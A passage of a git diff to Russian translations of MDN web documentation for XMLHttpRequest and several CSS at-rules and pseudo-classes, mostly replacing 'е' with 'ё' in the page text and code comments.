асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос ещё не завершён, и данные от сервера не получены полностью.</p> <p>Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 (<code>"OK"</code>).</p> diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html index 91e38522bf..80d5b3bf9f 100644 --- a/files/ru/web/api/xmlhttprequest/responsetype/index.html +++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseType --- <p>{{APIRef('XMLHttpRequest')}}</p> -<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p> +<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определённое значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p> <p><font><font>Поддерживаемые значения </font></font><code>responseType</code><font><font>:</font></font></p> diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html index ed61b3451b..635d27ddc1 100644 --- a/files/ru/web/api/xmlhttprequest/responseurl/index.html +++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseURL --- <div>{{APIRef('XMLHttpRequest')}}</div> -<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку, если URL равен <code>null</code>. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p> +<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку, если URL равен <code>null</code>. Если URL возвращён, любой URL фрагмент в URL будет стёрт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html index a7c82474a7..34736d0716 100644 --- a/files/ru/web/api/xmlhttprequest/send/index.html +++ b/files/ru/web/api/xmlhttprequest/send/index.html @@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/send xhr.open('GET', '/server', true); xhr.onload = function () { - // Запрос завершен. Здесь можно обрабатывать результат. + // Запрос завершён. Здесь можно обрабатывать результат. }; xhr.send(null); @@ -94,12 +94,12 @@ xhr.send(null); <pre><code>var xhr = new XMLHttpRequest(); xhr.open("POST", '/server', true); -//Передает правильный заголовок в запросе +//Передаёт правильный заголовок в запросе xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния. if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { - // Запрос завершен. Здесь можно обрабатывать результат. + // Запрос завершён. Здесь можно обрабатывать результат. } } xhr.send("foo=bar&lorem=ipsum"); diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html index 527dfe1f5a..454bc054db 100644 --- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data --- <h2 id="Receiving_binary_data_using_JavaScript_typed_arrays" name="Receiving_binary_data_using_JavaScript_typed_arrays">Получение бинарных данных используя JavaScript arrays </h2> -<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.</p> +<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершён или не был успешным.</p> -<p>В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> +<p>В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> <pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); @@ -90,9 +90,9 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <h2 id="Sending_binary_data" name="Sending_binary_data">Отправка бинарных данных</h2> -<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p> +<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить лёгкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p> -<p>В примере ниже на лету создается текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> +<p>В примере ниже на лету создаётся текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> <pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); oReq.open("POST", url, true); @@ -121,7 +121,7 @@ xhr.open("POST", url, false); xhr.send(myArray); </pre> -<p>Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p> +<p>Здесь создаётся и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p> <div class="note"><strong>Примечание:</strong> Поддержка передачи объектов <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. <strong>Add information about other browsers' support here.</strong></div> @@ -144,7 +144,7 @@ req.sendAsBinary(aBody); <p>В строке 5 метод <code>sendAsBinary()</code> начинает запрос.</p> -<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div> +<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удалён. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div> <p>Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p> diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html index 4304530ac7..0a7d0f9cf4 100644 --- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -226,7 +226,7 @@ The second line. <h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4> -<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придется проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все еще дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> +<p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все ещё дидактический) фреймворк, </strong>который все же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> <pre class="brush: html notranslate"><!doctype html> diff --git a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html index 53fb283a75..bcd89a4530 100644 --- a/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html @@ -43,9 +43,9 @@ translation_of: Web/API/XMLHttpRequest/XMLHttpRequest <dd>Существует два флага, которые можно установить: <dl> <dt><code>mozAnon</code></dt> - <dd>Boolean: Установка этого флага в значение <code>true</code> приведет к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.</dd> + <dd>Boolean: Установка этого флага в значение <code>true</code> приведёт к тому, что браузер не будет раскрывать {{Glossary("origin")}} и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">учётные данные пользователя</a> при получении ресурсов. Главным образом это означает, что файлы {{Glossary("Cookie", "cookies")}} не будут отправлены, если они не добавлены явно с использованием setRequestHeader.</dd> <dt><code>mozSystem</code></dt> - <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учетных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}})); не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd> + <dd>Boolean: Установка этого флага в значение <code>true</code> позволяет устанавливать межсайтовые соединения не требуя подключения сервера с помощью {{Glossary("CORS")}}. <em>Требует установки флага <code>mozAnon: true</code>, т.к. это нельзя сочетать с отправкой файлов cookie или других учётных данных пользователя. Это работает только в привилегированных (проверенных) приложениях ({{Bug ("692677")}})); не работает на произвольных веб-страницах, загруженных в Firefox.</em></dd> </dl> </dd> </dl> diff --git a/files/ru/web/api/xmlserializer/index.html b/files/ru/web/api/xmlserializer/index.html index 7df04c7f6d..9e8823e80c 100644 --- a/files/ru/web/api/xmlserializer/index.html +++ b/files/ru/web/api/xmlserializer/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/XMLSerializer <dt id="serializeToString"><code>XMLSerializer.serializeToString</code>()</dt> <dd>Возвращает сериализованное дерево или ветку в виде строки</dd> <dt id="serializeToStream"><code>XMLSerializer.serializeToStream()</code> {{ non-standard_inline() }}{{ deprecated_inline() }}</dt> - <dd>Поддерево, обернутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd> + <dd>Поддерево, обёрнутое в указанный элемент, сериализуется в поток байтов с использованием указанной кодировки.</dd> </dl> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/css/@counter-style/additive-symbols/index.html b/files/ru/web/css/@counter-style/additive-symbols/index.html index c8781e4d40..4ea2a2dc87 100644 --- a/files/ru/web/css/@counter-style/additive-symbols/index.html +++ b/files/ru/web/css/@counter-style/additive-symbols/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/@counter-style/additive-symbols --- <h2 id="Описание">Описание</h2> -<p>Дескриптор аддитивных символов аналогичен дескриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>и позволяет пользователю указывать символы которые будут использоваться для представлений счетчика, когда значение дескриптора<span class="seoSummary"> {{cssxref('system')}} <em>аддитивное</em>. Дескриптор <code>additive-symbols</code> </span>определяет так называемые аддитивные кортежи<span class="seoSummary">, </span>каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес<span class="seoSummary">.</span> Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.</p> +<p>Дескриптор аддитивных символов аналогичен дескриптору <span class="seoSummary"> {{cssxref('symbols')}} </span>и позволяет пользователю указывать символы которые будут использоваться для представлений счётчика, когда значение дескриптора<span class="seoSummary"> {{cssxref('system')}} <em>аддитивное</em>. Дескриптор <code>additive-symbols</code> </span>определяет так называемые аддитивные кортежи<span class="seoSummary">, </span>каждый из которых представляет собой пару, содержащую символ и неотрицательный целочисленный вес<span class="seoSummary">.</span> Аддитивная система используется для построения систем нумерации знаков, таких как римские цифры.</p> <p>Когда значение системного дескриптора является циклическим, числовым, буквенным, символическим или фиксированным, дескриптор <code>symbols</code> используется вместо аддитивных символов для указания символов счетчика.</p> diff --git a/files/ru/web/css/@font-face/font-display/index.html b/files/ru/web/css/@font-face/font-display/index.html index 603b7a8a66..e1466f1b1a 100644 --- a/files/ru/web/css/@font-face/font-display/index.html +++ b/files/ru/web/css/@font-face/font-display/index.html @@ -7,11 +7,11 @@ translation_of: Web/CSS/@font-face/font-display <h2 id="Описание">Описание</h2> -<p>Дескриптор <code>font-display</code> определяет то, как шрифт, подключенный через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.</p> +<p>Дескриптор <code>font-display</code> определяет то, как шрифт, подключённый через font face будет отображаться в зависимости от того, загрузился ли он и готов ли к использованию.</p> <h3 id="Временная_шкала_отображения_шрифтов">Временная шкала отображения шрифтов</h3> -<p>Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта. Эта временная шкала разделена на три отрезка, приведенных ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.</p> +<p>Временная шкала отображения шрифтов основывается на таймере, который запускается в момент, когда пользовательский агент начинает попытки по применению загруженного шрифта. Эта временная шкала разделена на три отрезка, приведённых ниже, которые диктуют поведение рендеринга любых элементов с использованием шрифта.</p> <dl> <dt>Период блокировки шрифта (Font block period)</dt> @@ -39,13 +39,13 @@ font-display: optional;</pre> <dt>auto</dt> <dd>Стратегию загрузки шрифта определяет пользовательский агент.</dd> <dt>block</dt> - <dd>Для шрифта задается короткий период блокировки и бесконечный период подмены.</dd> + <dd>Для шрифта задаётся короткий период блокировки и бесконечный период подмены.</dd> <dt>swap</dt> - <dd>Для шрифта не задается период блокировки и задается бесконечный период подмены.</dd> + <dd>Для шрифта не задаётся период блокировки и задаётся бесконечный период подмены.</dd> <dt>fallback</dt> - <dd>Для шрифта задается очень короткий период блокировки и короткий период подмены.</dd> + <dd>Для шрифта задаётся очень короткий период блокировки и короткий период подмены.</dd> <dt>optional</dt> - <dd>Для шрифта задается очень короткий период блокировки и не задается период подмены.</dd> + <dd>Для шрифта задаётся очень короткий период блокировки и не задаётся период подмены.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/@font-face/index.html b/files/ru/web/css/@font-face/index.html index 6382b864b4..b638ecc425 100644 --- a/files/ru/web/css/@font-face/index.html +++ b/files/ru/web/css/@font-face/index.html @@ -11,7 +11,7 @@ tags: - типографика translation_of: Web/CSS/@font-face --- -<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule">@-правило</a> <font>позволяет указать </font><font>шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удаленного сервера, либо с компьютера пользователя. Если в правиле была объявлена функция </font><code>local()</code>, с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции <code>url()</code>.</div> +<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/CSS/At-rule">@-правило</a> <font>позволяет указать </font><font>шрифты для отображения текста на веб-страницах, которые могут быть загружены либо с удалённого сервера, либо с компьютера пользователя. Если в правиле была объявлена функция </font><code>local()</code>, с названием шрифта, то будет производиться поиск на компьютере пользователя, и в случае обнаружения будет использован этот шрифт. Иначе будет скачан и использован шрифт, указанный в функции <code>url()</code>.</div> <div> </div> @@ -19,7 +19,7 @@ translation_of: Web/CSS/@font-face <div> </div> -<div>Распространенным случаем является одновременное использование <code>url()</code> и <code>local()</code>, чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.</div> +<div>Распространённым случаем является одновременное использование <code>url()</code> и <code>local()</code>, чтобы использовать локальный шрифт, если он доступен, или иначе скачать копию шрифта.</div> <div> </div> @@ -56,7 +56,7 @@ translation_of: Web/CSS/@font-face <dt>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</dt> <dd>Позволяет осуществлять низкоуровневый контроль над вариациями OpenType и TrueType шрифтов, указывая четырёхбуквенные названия осей для изменения вместе с их значениями.</dd> <dt>{{cssxref("@font-face/src", "src")}}</dt> - <dd><font>Задает ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удаленного файла шрифта или имя шрифта на компьютере пользователя.<br> + <dd><font>Задаёт ресурс, содержащий данные шрифта. Это может быть URL-адрес расположения удалённого файла шрифта или имя шрифта на компьютере пользователя.<br> <br> Чтобы дать браузеру возможность выбрать наиболее подходящий формат шрифта, его можно указать при объявлении внутри функции <code>format()</code>:</font><br> diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html index d04e91a2d0..7a122d3ad6 100644 --- a/files/ru/web/css/@font-feature-values/index.html +++ b/files/ru/web/css/@font-feature-values/index.html @@ -29,7 +29,7 @@ translation_of: Web/CSS/@font-feature-values } </pre> -<p>Правило <code>@font-feature-values</code> может использоваться как на вернем уровне вашего CSS так и внутри любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS правила</a>.</p> +<p>Правило <code>@font-feature-values</code> может использоваться как на вернём уровне вашего CSS так и внутри любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS правила</a>.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -84,5 +84,5 @@ translation_of: Web/CSS/@font-feature-values <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определенные этим правилом.</li> + <li>Свойство {{cssxref("font-variant-alternates")}} которое использует значения, определённые этим правилом.</li> </ul> diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html index f56c90108b..123d6d7eeb 100644 --- a/files/ru/web/css/@media/inverted-colors/index.html +++ b/files/ru/web/css/@media/inverted-colors/index.html @@ -30,7 +30,7 @@ translation_of: Web/CSS/@media/inverted-colors <h3 id="HTML">HTML</h3> -<pre class="brush: html"><p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия желтого по черному). Если нет, он должен быть красным на светло-сером.</p> +<pre class="brush: html"><p>Если вы используете инвертированные цвета, этот текст должен быть синим по белому (инверсия жёлтого по чёрному). Если нет, он должен быть красным на светло-сером.</p> <p>Если текст серого цвета, ваш браузер не поддерживает медиа-функцию `inverted-colors`.</p></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html index 723c964b8f..055dffc88d 100644 --- a/files/ru/web/css/@media/orientation/index.html +++ b/files/ru/web/css/@media/orientation/index.html @@ -8,7 +8,7 @@ translation_of: Web/CSS/@media/orientation <p><a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">медиа-функции</a> <strong><code>orientation</code></strong> может использоваться для проверки ориентации области {{glossary("просмотра")}} (или поля страницы для <a href="/en-US/docs/Web/CSS/Paged_media">медийных страниц</a>).</p> <div class="note"> -<p><strong>Примечание:</strong> Эта функция не соответствует ориентации <em>устройства</em>. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведет к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.</p> +<p><strong>Примечание:</strong> Эта функция не соответствует ориентации <em>устройства</em>. Открытие программной клавиатуры на многих устройствах в книжной ориентации приведёт к тому, что область просмотра станет шире, чем высокая, в результате чего браузер будет использовать альбомные стили вместо портретного.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html index d61e6d2ca3..04daa7d53e 100644 --- a/files/ru/web/css/@page/index.html +++ b/files/ru/web/css/@page/index.html @@ -2,7 +2,7 @@ title: '@page' slug: Web/CSS/@page tags: - - Верстка + - Вёрстка - печать - страница translation_of: Web/CSS/@page @@ -99,5 +99,5 @@ translation_of: Web/CSS/@page <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Смотрите тикет <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> в Bugzilla для отслеживания прогресса по теме (базовый страничный счетчик, и т.д.)</li> + <li>Смотрите тикет <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> в Bugzilla для отслеживания прогресса по теме (базовый страничный счётчик, и т.д.)</li> </ul> diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html index 56ee461658..cbbaf38b69 100644 --- a/files/ru/web/css/@viewport/index.html +++ b/files/ru/web/css/@viewport/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/@viewport <h2 id="Кратко">Кратко</h2> -<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.</p> +<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содержит набор вложенных дескрипторов в блоке CSS, который разделён фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,13 +32,13 @@ translation_of: Web/CSS/@viewport <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt> <dd>Используется при определении ширины видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt> - <dd>Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).</dd> + <dd>Сокращённый дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt> <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt> <dd>Используется при определении высоты видового экрана при первом отображении документа.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt> - <dd>Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).</dd> + <dd>Сокращённый дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt> <dd>Устанавливает начальный коэффициент масштабирования.</dd> <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt> diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html index 872ef81e58..c194469e7a 100644 --- a/files/ru/web/css/_colon_-moz-focusring/index.html +++ b/files/ru/web/css/_colon_-moz-focusring/index.html @@ -33,7 +33,7 @@ translation_of: 'Web/CSS/:-moz-focusring' <h2 id="Спецификации">Спецификации</h2> -<p>Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.</p> +<p>Этот псевдокласс пока ещё не определён ни в одной спецификации, хотя и прошёл этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html index 48c095accb..83a7a93462 100644 --- a/files/ru/web/css/_colon_-moz-only-whitespace/index.html +++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html @@ -72,7 +72,7 @@ div { <tr> <td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td> <td>{{Spec2("CSS4 Selectors")}}</td> - <td>Определен впервые</td> + <td>Определён впервые</td> </tr> </tbody> </table> diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html index 95ede05087..839d8323c6 100644 --- a/files/ru/web/css/_colon_any-link/index.html +++ b/files/ru/web/css/_colon_any-link/index.html @@ -5,7 +5,7 @@ tags: - ':any-link' - CSS - Web - - Верстка + - Вёрстка - Гиперссылки - Справка - Ссылки diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html index 45ac8c1819..e13201061e 100644 --- a/files/ru/web/css/_colon_default/index.html +++ b/files/ru/web/css/_colon_default/index.html @@ -14,7 +14,7 @@ input:default { background-color: lime; }</pre> -<p>Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс <code>:default</code> найдет <em>все</em> эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.</p> +<p>Сгруппированные элементы, поддерживающие множественный выбор, также могут иметь несколько элементов, выбранных по умолчанию. В этом случае псевдокласс <code>:default</code> найдёт <em>все</em> эти элементы. Например, можно стилизовать чекбоксы по умолчанию в группе чекбоксов.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html index 09422f6f13..4cf0bccb4b 100644 --- a/files/ru/web/css/_colon_dir/index.html +++ b/files/ru/web/css/_colon_dir/index.html @@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:dir' </div> <div class="note"> -<p><strong>Примечание:</strong> В HTML, направление задается атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.</p> +<p><strong>Примечание:</strong> В HTML, направление задаётся атрибутом {{htmlattrxref("dir")}}. В других форматах могут использоваться иные методы.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html index 86a34bd10a..0c5812445b 100644 --- a/files/ru/web/css/_colon_disabled/index.html +++ b/files/ru/web/css/_colon_disabled/index.html @@ -9,7 +9,7 @@ translation_of: 'Web/CSS/:disabled' <h2 id="Описание">Описание</h2> -<p>CSS <a 